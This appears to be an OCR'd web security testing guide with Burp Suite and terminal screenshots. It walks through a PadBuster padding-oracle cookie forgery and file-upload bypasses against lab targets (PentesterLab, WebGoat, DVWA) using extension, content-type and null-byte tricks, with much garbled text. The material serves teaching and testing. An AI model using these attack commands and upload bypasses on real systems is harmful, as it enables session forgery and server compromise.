| Brian Holyfield - Gotham Digital Science
| labs@gdssecurity.com

INFO: The original request returned the following
[+] Status: 200

[+] Location: N/A

[+] Content Length: 1530

INFO: Starting PadBuster Decrypt Mode
#** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***

The following response signatures were returned:

Status Length

root@kali: ~ @ ® 0

File Edit View Search Terminal Help

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :

Continuing test with selection 2

Success: (29/256) [Byte 8]
Success: (138/256) [Byte 7]
Success: (68/256) [Byte 6]
Success: (202/256) [Byte 5]
Success: (135/256) [Byte 4]
Success: (240/256) [Byte 3]
Success: (89/256) [Byte 2]
Success: (70/256) [Byte 1]

Block 1 Results:
Cipher Text (HEX): 5b2c2b6255bfd47a
Intermediate Bytes (HEX): b2a0167c32bf74e2
Plain Text: user=clo

of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
Starting Block 2 of 2 ***

Success: (131/256) [Byte 8]
Success: (48/256) [Byte 7]
Success: (70/256) [Byte 6]
Success: (169/256) [Byte 5]
Success: (159/256) [Byte 4]
Success: (213/256) [Byte 3]
Success: (177/256) [Byte 2]
Success: (218/256) [Byte 1]







Block 2 Results:

[+] Cipher Text (HEX): bca297f97a7a6562

[+] Intermediate Bytes (HEX): 2e482d6453b9d27c
[+] Plain Text: ud[iHHHH]

** Finished
[+] Decrypted value (ASCII): user=cloud
[+] Decrypted value (HEX): 757365723D636C6F7564060606060606

[+] Decrypted value (Base64): dXNlcjljbG91ZAYGBgYGBg==

:~# padbuster http://192.168.222.157/1ogin.php x9NzDg%2FCcGI1bLCt :~# padbuster http://192.168.222.157/10gin.php x9NzDg%2FCcGI1bLCtiVb3|
2FUeryil%2Fl6emVi 8 --cookies auth=x9NzDg%2FcGI1bLCtiVb%2FUeryil%2Fl6emVi --encoding © -plaintext user=admin

| PadBuster - v©.3.3
| Brian Holyfield - Gotham Digital Science
| labs@gdssecurity.com

INFO: The original request returned the following
[+] Status: 200

[+] Location: N/A

[+] Content Length: 1530

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

INFO: No error string was provided...starting response analysis
*+* Response Analysis Complete *#*

The following response signatures were returned:

Status Length

Block 1 Results:
[+] New Cipher Text (HEX): 0408adl9d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe

2064  hitp://[192.168.222.157 POST llogin.php v v 302 1048 HTML php [PentesterLab] Padding ...
<

J Request I Original response I Edited response l

Raw ( Params I Headers T;]

POST /login.php HTTP/1.1

Host: 192.168.222.157

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; rv:58.0) Gec
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;
Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.1€8.222.157/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Connection: close

20100101 Firefox/58.0
.8

Upgrade-Insecure-Requests: 1

username=cloudépassword=cloud



2064  hitp://192.168.222.157 POST llogin.php 302 1048 HTML php [PentesterLab] Padding ...
E1S
Reguest | Original response T Edited response ]
Raw | Headers | Hex | HTML T Render 1
HTTP/1.1 202 Found
Date: Thu, 08 Mar 2018 02:44:37 GMT
Server: Apache/Z.2.21 (Unix) DAV/Z PHP/5.4.3
¥X-Powered-By: PHP/5.4.3
Set-Cookie: aut:h=qyby80=52JthHqNIC'«:FJdiszHyElu6:|
Location: /index.php
Content-Length: 778
Connection: close
Content-Type: text/html
2064  hitp://192.168.222.157 POST llogin.php 302 1048 HTML php [PentesterLab] Padding ...
[«

[ Request T Original response TEdled response ]

Raw | Headers | Hex | HTML TRender]

HTTP/1.1 202 Found

Date: Thu, 08 Mar 2018 02:44:37 GMT

Server: Apache/Z.2.21 (Unix) DAV/Z PHP/5.4.3
¥X-Powered-By: PHP/5.4.3

Set-Cookie: auth=BAitGdYuupMjA3SgllaFoOwAAAAAAAAAA
Location: /index.php

Content-Length: 778

Connection: close

Content-Type: text/html

3 C ® 192.168.222.157/index.php

Logout

Padding Oracle

Welcome to the PentesierLab's exercise on Padding Oracle.

The objective of this exercise is to find a way to get logged in as the user "admin"..

You are currently logged in as admin!

Business Testing Logic

1. Test Business Logic Data Validation

The application must ensure that only logically valid data can be entered at the front end as well
as directly to the server side on an application of system. The front end and the back end of the
application should be verifying and validating that the data it has, it using and is passing along is

logically valid.

How to Test



e Review the project documentation and use exploratory testing looking for data entry points or
hand off points between system or software.
e Once found try to insert logically invalid data into the application/system



e Perform front-end GUI functional valid testing on the application to ensure that the only “valid”
values are accepted

e Using an intercept proxy observe the HTTP-POST/GET looking for places that variables such as
cost an quality are passed.

e Verify that input HTTP request and every HTTP response contains a content type header
specifying a safe character set (e.g., UTF-8).

e Verify that HTTP headers in both requests and responses contain only printable ASCII characters

e  Verify that the input field have “max-length”

Test example

| 2122 nttpsuiveww.google.comvn POST  /gen_2047s=webaftSatyp=csigei=1b2g.. v 204 368 HTML v Am2217.10227
% e hitps:/iid.google.com.vn GET Iverify/AloQP3hyBUST3N1RfHDrUrLwe... 200 808 HTML v 172217.31.35 NID=125=cglyc
-« / o4

Request | Response
Raw ParamsIHeaders Hex

POST /gen_204?s=webaftaatyp=csicei=lb2gWrnLPJHx_AazwiGgCAGrt=wsrt.2185,aft. 118, pre.77,scc. 13 HITP/L.1
Host: www.google.com.vn

User-Agent: Mozilla/5.0 (VWindows NT 10.0; Wing4; x64; rv:58.0) Gecko/20100101 Firefox/58.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.google.com.vn/

Content-Length: 0

Content-Type: text/plain;charset=UTF-8

Cookie:

1dB8GITYDQV3_c5rWonVLKTSXZZ7vst TVRgWISHzxHe CvIL3nLA4s5ST-L4CINGWEUDE_xKsGr TiuX4-Sr gitULeWgDZpCubqnzCIyIBuPQt a6UghGCK28Q2GhIF 43y INGUCLWUBHOx Lz x LyC3avyiDTvent VAIN___ZafHbCnHxulsiid
w; CONSENT=YES4VIN.vi+2017052 -0; SID=agXvE4KYwlsA3QR3ZHLEx04p7aFt4qlPMo79YPNubQ290ck LAYHOBESxeVDED_1k JHOUHY. ; HST Q 58P1b; SST ye20dIBXnlch;
APISID=97Qu5cvILOMFLXeD/AulvBIGAE3UrevtkV; SAPISID=Sewd fea glUuq7xK/AqMIZLAZggitG-5R4; 1P_JAR=2018-03-08-04

Connection: close

5]

2122 https:/iwww.google.com.vn POST /gen_2047s=webaftdatyp=csidei=1b2g... v 204 368 HTML v 172.217.10.227
316 https://id.google.com.vn GET Iverify/AloQP3hyBUSr3N1jtfHDrUrLwe... 200 808 HTML Vv 1722173135
o] J

Request | Response
Raw | Headers | Hex

HTTP/1.1 204 No Content

Content-Type: text/html; charset=UTF-8

Date: Thu, 08 Mar 2018 04:36:40 GMT

Server: gus

Content-Length: 0

K-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alt-Sve: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; na=2592000; v="41,39,38,37,35"
Connection: close

® 192.168.222.136/WebGoat/attack?Screen=50&menu=600 B e O | | Q Search N o =
Logout 0 @ Insp¢ Con: Debt Style Perfor Men Netv Stor DG BH»>=8 *a 5] a8
+ Search HTML ?
<b:>‘ ~
Off-by-One Overflows S peReilameic/eay

</td>

Solution Videos Restart this Lesson Ed>E/ LA v
< >

. : . S € W #lessonArea » div #lessonContent > form > table > tbody > tr > td > input| >
Welcome to the OWASP Hotel! Can you find out which room a VIP guest is staying in? st O O & P!

: - ; Rules Computed Layout Animations Fonts
In order to access the Internet, you need to provide us the following information:

Filter Styles .l
Step 1/2 ilter e cls
= E element { ne A
Ensure that your first and last names are entered exactly as they appear in the hotel's }
registration system.
Inherited from td

td { lesson.css:2
font-family: Verdana, Tshoma, sans-serif;

}

tx { lesson.css:3

Submit

Refer



e All Input Validation test cases

e Testing for Account Enumeration and ~ Guessable User Account
e Testing for Bypassing Session Management Schema

e Testing for Exposed Session Variables

2. Test Ability to Forge Requests

How to Test

e Using an intercepting proxy observe the HTTP POST/GET looking for some indication that
values are incrementing at a regular interval or are easily guessable.

e Ifitis found that some value is guessable this value may be changed and one may gain
unexpected visibility

e Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden
features such as debug that can be switched on or activated

e Ifany are found try to guess and changes these values to get a different application response or
behavior

Refer

e Testing for Exposed Session Variables
o Testing for CSRF
e Testing for Account Enumeration and Guessable User Account

3. Test Integrity Checks

How to Test

e Using a proxy capture and HTTP traffic looking for hidden fields / non editable

e If a hidden field is found see how these fields compare with the GUI application and start
interrogating this value through the proxy by submitting different data values trying to circumvent
the business and manipulate values you were not intended to have access to.

e List components of the application or system that could be edited, for example logs ordatabases

e For each component identified, try to read, edit or remove its information

Test Example
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Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering

Bypass HTML Field Restrictions
Exploit Hidden Fields
Exploit Unchecked Email

Bypass Client Side JavaScript
Validation
Session Management Flaws
Web Services
Admin Functions

Challenge
3221 http://192.168.222.136 POST
3225 hitp://192.168.222.136 GET

@ 192.168.222.136/WebGoat/attack?Screen=17&menu=1700

B | o

Solution Videos Restart this Lesson
This website performs both client and server side validation. For this exercise, your job is to

break the client side validation and send the website input that it wasn't expecting. You must
break all 7 validators at the same time.

Field1: exactly three lowercase characters(~[a-z]{3}$)
abc

Field2: exactly three digits(~[0-9]{3}$)
123

Field3: letters, numbers, and space only(~[a-zA-Z0-9 ]*$)
abc 123 ABC

Field4: enumeration of numbers (~(one|two|three|four|five|six|seven|eight|nine)$)
seven

FieldS: simple zip code (~\d{5}$)
90210

Field6: zip with optional dash four (“\d{5}(-\d{4})?$)
90210-1111

Field7: US phone number with or without dashes (~[2-9]\d{2}-\d{3}-?\d{4}$)
301-604-4882

Subm W

IWebGoatiattack?Screen=178menu=17.. v v 20 38 WML
/WebGoat/javascript/menu_system.js 304 230 script s

Bypass Client Side Java...

9

192.168.222.136
192.168.222.136

[ originatrequest | Edted request | Response |

_me]Pamms Tﬂemers THex]

Host: 192.168.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé:
Accept: text/html,application/xhtml+xml,application/xml;q:

Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate

; x64; rv:$8.0) Gecko/20100101 Firefox/$8.0
.8, %/*;q=0.8

Referer: http://192.168.222.136/WebGoat/attack?Screen=17emenu=1700
Content-Type: application/x-www-form-urlencoded

Content-Length: 104

Cockie: dbx-postmeta=grabit=0-,1-,2-,3-,4-, 5~ E-Gadvancedstuff=0-,1-,2

; security_level=0; remember_token=Stu37BrvdLCcP£SwaD7x4g; PHPSESSID=

25695pologZbi38rkn35lrgh0; Server=b3dhe3BidlE=

acopendivids=swingset,jotto,phphb2, rednine; acgroupswithpersist=nada;

_railsgoat_session=BAh7BOkiD3N1c3Npbl5£faWiGlgZFRkiJTg3Z)Q0MIMSMI AN BulzNnY] I1NzQwYIE3ZDY MWY4B SAVELiEFS )3 2VuBjsARkki dl vl 5THdZSnIVT! T 3
sARg%3D$3D--bcl925%ebebSh457blatbe fdabdle43b4a£f81285; JSESSIONID=8ECSCFEESBSZC4DF393D20ASD3BE7FFL

Author. tion: Basic dIViZ2: 2F0

Connection: close

Upgrade-Insecure-Requests: 1

fieldl=abc&field2=1236field3=abc+l23+ABCafiel £ield5=90C710&field6=90210-1111&6field7=301-604-4882
3221 hitp192.168.222.136 POST  MebGoatiattack?Screen=178menu=17.. v 200 33386 HTML Bypass Client Side Java.. 192168222136
3225 hitp/192.168.222.136 GET WebGoatjavascripmenu_system s 304 230 script is 192.168.222.136 v
< J ¥
[ original request | Edted request | Response |

JvRaw_ | Params | Headers | Hex |

Host: 192.168.222.136 A

User-Agent: Mozilla/5.0 (VWindows NT 10.0; Win€4; x€4; rv:58.0) Geclko/20100101 Firefox/$8.0
Accept: text/html,application/xhtmlixml,application/xml;q=0.9,%/%;
Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/WebGoat/attack?Screen=176nenu=1700
Content-Type: application/x-wiw-form-urlencoded

Content-Length: 2
dbx-postmeta=grabit=0-,1-,2-,3-,4-,
acopendivids=swingset,jotto,phpbb2, redmine;
_railsgoat_session=BAh7BOkiD3N1 2 PrkiITG3Z3Q §11NzQuYjE3ZDY2MUY4B) SAVEK i

=0

_level=0; 2t 7x4g; PHPSESSID=

"o L1-,
acgroupswithpersist=nada;
7

2VuBj sARKK Zpudl

25695p0lognh] 38rkm3s1lrgh0;

33N
SARgY3D43D--bcl9259ebehSh497blathe fdabdle43b4af81285; JSESSIONID=8ECSCFSESBS2C4DF393D20ASDIBETFFL
Authorization: Basic d2ViZ2ShdDp3ZWinblFO

Connection: close

Upgrade-Insecure-Requests: 1

fieldl=abell231232136 fieldo=1 field3=abe+l23+AB+23401! 21 fiel

15 1 #0580 $6£ield5=5021 10&fi

T3

dslkfndges | 05

210-11

Server=b3dhc3Bid?!

SnJVTEx4buhWH0ZvaX10anqwZVlSE]

1$#@14116field7=301-604-4882a
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OWASP WebGoat v5.4

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering

Bypass HTML Field Restrictions
Exploit Hidden Fields
Exploit Unchecked Email

. Bypass Client Side
JavaScript Validation
Session Management Flaws
Web Services
Admin Functions
Challenge

® 192.168.222.136/WebGoat/attack?Screen=17&menu= 1700

Bypass Client Side JavaScript Validation

Solution Videos

Restart this Lesson

This website performs both client and server side validation. For this exercise, your job is to
break the client side validation and send the website input that it wasn't expecting. You must
break all 7 validators at the same time.

Server side validation
Server side validation
Server side validation
Server side validation
Server side validation
Server side validation
Server side validation

* Congratulations. You have successfully completed this lesson.

violation: You
violation: You
violation: You
violation: You
violation: You
violation: You
violation: You

succeeded for Field1.
succeeded for Field2.
succeeded forField3.
succeeded forField4.
succeeded forField5.
succeeded forField6.
succeeded forField7.

Field1: exactly three lowercase characters(~[a-z]{3}$)

abcl123123213

Field2: exactly three digits(~[0-9]{3}%)

123aaaaaaaaaaaa

Field3: letters, numbers, and space onl

abc 123 AB

2340182304980218348588885C

y(~[a-zA-Z0-9 1*$)

“— c ® 192.168.222.136/phpmyadmin/index.php?db=mutillidae&token=2be9b92af97fe8b7 e @ Qs
wwmﬂn &3 localhost » mutillidae » accounts
[E|Browse g% Structure 2 SQL  Search Fclnsert [EjExport [jimport %ZOperations [fEmpty [ Drop
<« Showing rows 0 - 18 (19 total, Query took 0.0159 sec)
Database SELECT +
[ mutillidae (11) vl e
[JPrc

mutillidae (11)

| X
B accounts

Show : |30 row(s) starting from record #

o |
cells

[ balloon_tips in | horizontal v| mode and repeat headers after

B blogs_table = v

[ captured_data Sott b_y key: | None |

B credit_cards + Options

B help_texts —T— cid username password mysignature is_admin

hitiog - :

B level_1_help_include_files O #& X 1 admin admin Monkey! TRUE

g :g:‘:;'rs O &£ X 2 adrian somepassword Zombie Films Rock! TRUE

SRR etttk O # % 3 john monkey | like the smell of confunk FALSE
0O 2 X 4 jeremy password d1373 1337 speak FALSE

Refer

e All Input Validation test cases



4. Test for Process Timing

How to Test

e Review the project documentation and use exploratory testing looking for application/system
functionality that may be impacted by time. Such as execution time or actions that help users predict
a future outcome or allow one to circumvent any part of the business logic or workflow

e Develop and execute the misuse cases ensuring that attackers can not gain an advantage
based on any timing

Refer

e Testing for Cookies attributes
e Test Session Timeout

5. Test Defense Against Application Misuse

The misuse and invalid use of valid functionality can identify attacks attempting to enumerate
the web application, identify weaknesses, and exploit vulnerabilities.

How to test

e All other test cases are relevant

6. Test Upload of Unexpected File Types

Many application’s business processes allow for the upload and manipulation of data that is
submitted via files.

How to Test

e Review the project documentation and performsome exploratory testing looking for file types
that should be "unsupported" by the application/system.

e Try to upload these “unsupported” files an verify that it are properlyrejected.

e If multiple files can be uploaded at once, there must be tests in place to verify thateach file is
properly evaluated.

e Study the applications logical requirements.

e Prepare a library of files thatare “not  approved” for upload that may contain files such as:
jsp, exe, or html files containing script.

e In the application navigate to the file submission or upload mechanism.

e Submit the “not approved” file for upload and verify that they are properly prevented from
uploading.



Test Example

e Basic file upload



® 192.168.222.136/dvwa/vulnerabilities/uploac . @ % Search
3

T | Vulnerability: File Upload
o E T | Choose an image to upload

Setup | Browse... | 1shell.php

Brute Force | Upload

Command Execution |

@® 192.168.222.136/dvwa/vulnerabilities/upload/#

—

i | Vulnerability: File Upload

Ll Choose an image to upload

Setup ‘ Browse... | No file selected

Brute Force ‘ Upload

Command Execution ‘ succesfully uploaded!
CSRF |

ootRowaspbuwa:/# cd /var/wwu/d

om—-xss—example.html dvwa/

ootRowaspbwa:/# cd /var/wwu/dvuwa/

ootRowaspbwa :/var/wwuw/dvuwait ls

bout .php index.php php.ini

HANGELOG .md instructions.php README.nd
favicon.ico login.php robots.txt

OPYING.txt logout . php security.php

ids_log.php phpinfo.php setup.php
:zvar/uwuw/dvwait cd hackable/
:zvar/uwusdvwashackablett 1s

:7var/uwww/dvwashackable#t cd uploads/
:7var/uww/dvwashackable/uploadst 1s

root@owaspbuwa :/var/uwww/dvwashackable/uploadsit

&« G ® 192.168.222.136/dvwa/hackable/uploads/1shell.php

manhnho

e Double Extension Injection Technique



® 192.168.222.136/dvwa/vulnerabilities/upload/ v @ ﬁ Q_ Search

Home \ Vulnerability: File Upload

Loblini | Choose an image to upload:

Setup | [ Browse... | 2shell.php

Brute Force | | Upload |

Command Execution |

P{ htt'g'll1 92.168.222.136 POST ldealvulnerabiitieslni)loadl v 200 5214 HTML Damn Vulnerable Web A...
-«

Request l Response

Raw | Params | Headers | Hex

491299511942
Content-Disposition: form-data; name="MAX FILE_SIZE"

100000

491299511942
Content-Disposition: form-data; name="uploaded"; filename="Zshell. php"
Content-Type: application/octet-stream

Manhnho

491299511942
Content-Disposition: form-data; name="Upload"

102 http://192.168.222.136 POST /ldvwalvulnerabilties/upload/ v 200 5214 HTML Damn Vulnerable Web A... 1
«

—
Raw | Headers | Hex | HTML | Render

HTTP/1.1 200 0K

Date: Mon, 12 Mar 2018 03:15:48 GMT

Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/S.3.2-lubuntud.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k
Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/S.3.2-lubuntud.30

Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 4700

Connection: close

Content-Type: text/html;charset=utf-g

<pre>Your image was not uploaded.</pre>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHIML 1.0 Strict//EN" "http://www.u

org/TR/xhtml 1/DID/xhtml 1-s

rict . dtd">

D
2shell.php

File name

{ 2shell.php.png|




129 http://1192.168.222.136 POST Idvwalvulnerabilities/upload/ v v 200 5232

HTML Damn Vulnerable Web A...
<
_I Original request T Edited request T Response ]
Raw | Params | Headers | Hex
98942870323811
Content-Disposition: form-data; name="MAX FILE_SIZE"
100000
98942870323811
Content-Disposition: form-data; name="uploaded"; filename="Zshell.php.png"
Content-Type: image/png
Manhnho
98942870323811
Content-Disposition: form-data; name="Upload"
Upload
98942870323811--
129 http://192.168.222.136 POST Idvwalvulnerabilties/upload/ v v 200 5232 HTML Damn Vulnerable Web A...
bAN
Original request | Edited request I Response ]
Raw ( Params | Headers | Hex ]
s== 98942870323811
Content-Disposition: form-data; name="MAX FILE_SIZE"
100000
98942870323811
Content-Disposition: form-data; name="uploaded"; filename="Zshell. php"
Content-Type: image/png
Manhnho
98942870323811
Content-Disposition: form-data; name="Upload"
Upload
98942870323811--
129 http://192.168.222.136 POST Idvwalvulnerabilties/upload/ v v 200 5232 HTML Damn Vulnerable Web A...
<

[ Original request T Edited request I Response ]

Raw | Headers T Hex | HTML TRender

<input type="submit" name="Upload" value="Upload" />
</form>

<pre>..[../hackable /uploads/2shell php succesfully uploaded!</pre>

</div>

rootRowaspbuwa:/var/wwuw/dvuwashackable/uploads#t ls
i1shell.php dvwa_email.png
rootRowaspbuwa:/var/www/dvwashackable/uploads#t ls
i1shell.php Zshell.php dvwa_email.png

rootRowaspbuwa : /var/www/dvuwashackable/uploads#

@ 192.168.222.136/dvwa/hackabl X (RS

— G @ (® 192.168.222.136/dvwa/hackabl:

Manhnho

Content Type file Upload




192.168.222.136/d

/vulnerabilities/upload/ e 9 ﬁ O\ Search
7\
DYWA)

T | Vulnerability: File Upload

Loblini I Choose an image to upload:

Setup | [(Browse... | 2shell php

Brute Force | Upload

Command Execution I

\ 102k \ﬂp:lm 92.168.222.136 I POST Idvwalvulnerabilities/upload/ v 200 5214 HTML Damn Vulnerable Web A...
-

Request | Response

Raw | Params | Headers | Hex

491299511942
Content-Disposition: form-data; name="MAX FILE_SIZE"

100000

491299511942
Content-Disposition: form-data; name="uploaded"; filename="Zshell.php"
Content-Type: application/octet-stream

Manhnho

491299511942
Content-Disposition: form-data; name="Upload"

102 http://192.168.222.136 POST Idvwalvulnerabilties/upload/ v 200 5214 HTML Damn Vulnerable Web A...

< J
IER——
Raw | Headers | Hex | HTML | Render ]

HTTP/1.1 200 0K

Date: Mon, 12 Mar 2018 03:15:48 GMT

Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/S.3.2-lubuntud.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k
Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/S.3.2-lubuntud.30

Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 4700

Connection: close

Content-Type: text/html;charset=utf-g

<pre>Your image was not uploaded.</pre>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHIML 1.0

ttp://www. w3

14‘:‘»k http://192.168.222.136 POST Idvwalvulnerabilities/upload/ v v 200 5232 HTML Damn Vulnerable Web A...
-

_[Orig’nal requestT Edited request T Response ]

Raw | Params | Headers | Hex

Upgrade-Insecure-Recuests: 1

28253E86825547
Content-Disposition: form-data; name="MAX FILE_SIZE"

100000

2B253686825547
Content-Disposition: form-data; name="uploaded"; filename=
Content-Type: applicacion/octet—strea.m]

shell php"

<?php Manhnho 2>

2BC53€8E825547
Content-Disposition: form-data;

Upload

2B253686825547--



145 http://192.168.222.136 POST Idvwalvulnerabilties/upload/ v v 200 5232 HTML Damn Vulnerable Web A...
«

Original request | Edited request T Response ]

Raw | Params I Headers T Hex
8253686825547

Content-Disposition: form-data; name="MAX FILE_SIZE"

100000

2B8253686825547
Content-Disposition: form-data; name="uploaded"; filename="3shell.php"
Content-Type: image/png

<?php Manhnho ?>

2B253686825547
Content-Disposition: form-data; name="Upload"

Upload
2BZ5368E825547--
146 http://192.168.222.136 POST Idvwalvulnerabilties/upload/ v v 200 5232 HTML Damn Vulnerable Web A...
-«

[ Original request I Edited request T Response ]

Raw | Headers IEI HTML T Render

<input type="submnit" name="Upload" value="Upload" />
</form>

<pre>../../hackable/uploads/3shell php succesfully uploaded!</pre>

</div>

root@owaspbua : /var/www/dvwashackable/uploads#

root@owaspbua : /var/www/dvwashackable/uploadst
root@owaspbua : /var/www/dvwashackable/uploads#
i1shell.php 2shell.php 3shell.php dvwa_email.png
root@owaspbwa : /var/www/dvwashackable/uploadst

Null byte Injection

[ Torget Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |

_[ | Hr7P nistory | webSockets history | options

| #| Request to http://192.168.222.136:80

Forward | Drop Interceptison | | Action | Comme: s ite.

Raw | Params | Headers | Hex |

POST /dvwa/vulnerabilities/upload/ HTTP/L.1

Host: 192.168.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:58.0) Gecko/20100101 Firefox/$8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/* .8

Accept-Language: en-GB,en;q=0.5§

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/dvwa/vulnerabilities/upload/

Content-Type: multipart/form-data; boundary 276443266232757
Content-Length: 420

Cookie: security=low; dbx-pestmeta=grabit=0-,1-,2-,3-,4-,5-,
acopendivids=swingset,jotto,phpbbZ, rednine; acgroupswithpersis
Connection: close

Upgrade-Insecure-Requests: 1

vancedstuff=0-,1-,2-; security_level=0; remember_ token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=280rlsntl5037rleregIgijuso;
nada

276443
Content-Disposition: form-data; nam

2757
MAX_FILE_SIZE"

100000

2764432
Content-Disposition: form-data; name
Content-Type: image/png

232757
uploaded"”; filename="4shell.php.png"

Manhnho

276443
Content-Disposition: form-data; nam

Upload

27644326




[Target ] Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options. IAler's ]

J Intercept I HTTP history I WebSockets history I Options ]

U Request to http://192.168.222.136:80
[ Forward J [ Drop ] [ Intercept is on 1 l Action ]

Params | Headers | Hex

POST /dvwa/vulnerabilities/upload/ HTTP/L1.L
Host: 192.168.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:$8.0) Gecko/20100101 Firefox/$8.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-GB,en;q=0.5§

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/dvwa/vulnerabilities/upload/

Content-Type: multipart/ a; % 276443266232757

Content-Length: 420

Cookie: security=low; dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-, 6-gadvancedstuff=0-,1-,2-; security_level=0; remember_token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=280r2sntl5037rleregSgijuso;
acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada

Connection: close

Upgrade-Insecure-Requests: 1

276443266232757
Content-Disposition: form-data; name="MAX FILE_SIZE"

100000

276443266232757
Content-Disposition: form-data; name="uploaded"; filename="4shell. phpD.png"
Content-Type: image/png

Manhnho

276443266232757

Content-Disposition: form-data; name="Upload"
Upload
276443266232757--
String Convert
Text:
D
Hex:
449
Hex Spaced:
449
Hex Dashed:
449
Hex Encoded for URL:
%44
v o % > > 2 o » » 5z 2 oz > » > vu va ross2200L5211
3a 43 6f e 74 65 e 74 24 4 69 73 70 of 73 69 74 Content-Disposit
3b 69 6f e 3a 20 3 f 72 6d 2d 64 &1 74 61 3b 20 ion: form-data;
3c 6e 61 6d 65 3d 2 75 70 6c 6f 61 64 65 64 2 3b name="uploaded";
3d 20 6 69 6c 65 e 61 6d 65 3d 2 34 73 68 [ 6c filename="4shel
e 6c 2 70 68 70 B 2 70 e 67 2 0d 0a e 6f e LphpD.png"Con
3f 74 65 e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 tent-Type: image
40 2f 70 6e 67 od Oa 0d 0a 4d 61 e 68 e 68 6f 0a JpngManhnho
38 24 2d 2d 2d 2d 24 2d 2d 2d 24 2d 2d 24 2d 2d 2 —
39 37 3% 34 34 33 2 36 36 32 33 32 37 35 37 0d 0a 6443266232757
£ 43 6f 6e 74 65 e 74 24 44 69 73 70 6f 73 69 74 Content-Disposit
3b 69 6f 6e 3a 20 3 of 72 &d 2d 64 &1 74 61 3b 20 ion: form-data;
3c e 61 6d 65 3d 2 75 70 6c of &1 64 65 64 2 3b name="uploaded";
3d 20 66 69 6c 65 6e 61 6d 65 3d 2 34 73 [ 65 6c filename="4shel
3e 6c 2 70 68 70 [0 2 70 6e 67 2 0d 0a 43 6f Be Lphp.png"Con
3f 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 tent-Type: image

J Intercept I HTTP history T ‘WebSockets history | Options

Request to http://192.168.222.136:80

[ Forward J L Drop J l Intercept is on ] [ Action ]

Raw | Params | Headers | Hex

POST /dvwa/vulnerabilities/upload/ HTTP/L.1
Host: 192.168.222.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; xE4; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html, licat xhtml+xml, licat xml;q=0.9,%/*;q=0.8

Accept-Language: en-GB,en;q=0.5§

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/dvwa/vulnerabilities/upload/

Content-Type: multipart/form-data; boundary 276443266232757
Content-Length: 420

Cookie: security=low; dbx-postmeta=grabit=0-,1-,2-,3-,64-,65-, 6-sadvancedstuff=0-
acopendivids=swingset,jotto,phpbb2,rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

; security_level=0; remember_token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=280r2sntl5037rleregSgijusn;

7644326623275
Content-Disposition: form-data; name="MAX FILE_SIZE"

100000

276443266232757
Content-Disposition: form-data; name="uploaded"; filename="4shell. phpd.pngl'
Content-Type: image/png

Manhnho



‘, Target | X T Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I

